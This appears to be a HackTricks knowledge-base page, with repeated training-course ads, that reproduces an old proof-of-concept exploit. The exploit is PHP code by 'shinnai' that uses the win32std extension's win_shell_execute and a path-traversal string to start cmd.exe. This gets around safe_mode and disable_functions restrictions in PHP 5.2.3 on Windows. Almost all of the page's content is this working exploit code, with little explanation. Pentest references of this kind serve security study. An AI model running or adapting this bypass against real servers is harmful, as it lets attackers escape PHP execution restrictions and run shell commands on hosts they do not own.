tip

Learn & practice AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Learn & practice GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE)
Learn & practice Az Hacking: HackTricks Training Azure Red Team Expert (AzRTE)

Support HackTricks

PHP 5.2.3 - Win32std ext Protections Bypass

From http://blog.safebuff.com/2016/05/06/disable-functions-bypass/

php
<?php //PHP 5.2.3 win32std extension safe_mode and disable_functions protections bypass //author: shinnai //mail: shinnai[at]autistici[dot]org //site: http://shinnai.altervista.org //Tested on xp Pro sp2 full patched, worked both from the cli and on apache //Thanks to rgod for all his precious advises :) //I set php.ini in this way: //safe_mode = On //disable_functions = system //if you launch the exploit from the cli, cmd.exe will be wxecuted //if you browse it through apache, you'll see a new cmd.exe process activated in taskmanager if (!extension_loaded("win32std")) die("win32std extension required!"); system("cmd.exe"); //just to be sure that protections work well win_shell_execute("..\\..\\..\\..\\windows\\system32\\cmd.exe"); ?>

tip

Learn & practice AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Learn & practice GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE)
Learn & practice Az Hacking: HackTricks Training Azure Red Team Expert (AzRTE)

Support HackTricks
🤖
💡 Highlight any text on the page, then click to ask HackTricks AI about it
HackTricks AI Chat